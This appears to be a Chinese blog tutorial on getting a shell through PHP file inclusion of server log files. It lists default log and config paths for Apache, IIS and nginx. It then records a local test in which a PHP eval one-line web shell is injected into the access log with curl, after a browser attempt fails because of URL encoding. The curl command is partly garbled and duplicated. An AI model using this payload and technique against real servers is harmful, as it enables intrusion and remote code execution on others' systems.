包含日志文件getshell

一、包含日志文件漏洞利用概述

当我们没有上传点，并且也没有url_allow_include功能时，我们就可以考虑包含服务器的日志文件。利用思路也比较简单，当我们访问网站时，服务器的日志中都会记录我们的行为，当我们访问链接中包含PHP一句话木马时，也会被记录到日志中。这时候我们如果知道服务器的日志位置，我们可以去包含这个文件从而拿到shell。其实整个“包含日志文件漏洞利用”最关键的就是找日志存放的“物理路径”，只要找到日志的物理存放路径，一切就可以按部就班的完成利用了。
二、漏洞利用条件
（1）日志的物理存放路径
（2）存在文件包含漏洞

（3） curl命令行url请求工具或者 burpsuit代理；（避免url转码的存在）

（3） curl命令行url请求工具或者 burpsuit代理；
三、获取日志存放路径

一）日志默认路径

(1) apache+Linux日志默认路径

/etc/httpd/logs/access_log

或者

/var/log/httpd/access_log

(2) apache+win2003日志默认路径

D:\xampp\apache\logs\access.log

D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003默认日志文件

C:\WINDOWS\system32\Logfiles

(4) IIS7.0+win2003 默认日志文件

%SystemDrive%\inetpub\logs\LogFiles

(5) nginx 日志文件

日志文件在用户安装目录logs目录下

以我的安装路径为例/usr/local/nginx,

那我的日志目录就是在/usr/local/nginx/logs里

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

二）web中间件默认配置

(1) apache+linux 默认配置文件

/etc/httpd/conf/httpd.conf

或者

index.php?page=/etc/init.d/httpd

(2) IIS6.0+win2003 配置文件

C:/Windows/system32/inetsrv/metabase.xml

(3) IIS7.0+WIN 配置文件

C:\Windows\System32\inetsrv\config\applicationHost.config

四、实践测试记录 一）工具准备 （1） curl 命令行url访问工具或者（2） burpsuit 代理工具
二）使用浏览器直接构造一句话写入日志测试记录 （1）浏览器构造一句话报错首先，我们直接使用浏览器来构造“php一句话报错请求信息”然服务自动记录此一句话信息到服务器日志文件中；具体构造内容： http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?> （2）测试结果：失败利用文件包含漏洞直接访问“服务日志文件”，发现文件包含漏洞并未对构造的php一句话进行正常解析，观察发现是构造的PHP一句话中的相关字符在记录进日志文件后，相关的字符被转码了，导致PHP解析失败，具体失败原因见“失败原因分析” （3）失败原因分析一句话写入日志文件的利用过程是，利用浏览器直接构造一个关于请求资源的报错信息，次消息中包含依据。次报错信息服务自动记录到日志文件，但实际测试发现写入日志文件内的报错信息发生了字符转码：日志文件内容如上图所示：http://127.0.0.1/php/1.php?%3C?php%20@eval($_POST[123]);?%3E "<" ----> 大于号被转码为了 %3C

">" ----> 小于号被转码为了 %3E

" " ----> 空格被转码为了 %20

最后写入到日志文件中的一句话就变成了 %3C?php%[email protected]($_POST[123]);?%3E。

（4）失败总结

浏览器直接构造的PHP一句话中特殊字符，会被浏览器自动进行URL转义，导致最终写入日志文件中的PHP一句话包含了这些特殊字符，而这些转码后的编码PHP并不能进行正常的解析。

三）curl 构造一句话，写入日志文件测试记录
（1） curl 构造一句话写入服务日志文件构造语句： D:\curl>curl -v "http://127.0.0.1/php/1.php?page=<?php @eval($_POST\[123\]);?>"?page=<?php @eval($_POST\[123\]);?>"

curl构造一句话时，需要注意两点：

1）请求的资源对象，需要被双引号包含，不然会报错；
2） php一句话中的综括号[ ]curl是特殊符号，需要进行转义 \[ \]，不然curl使用时也会报错；

（2）测试结果：成功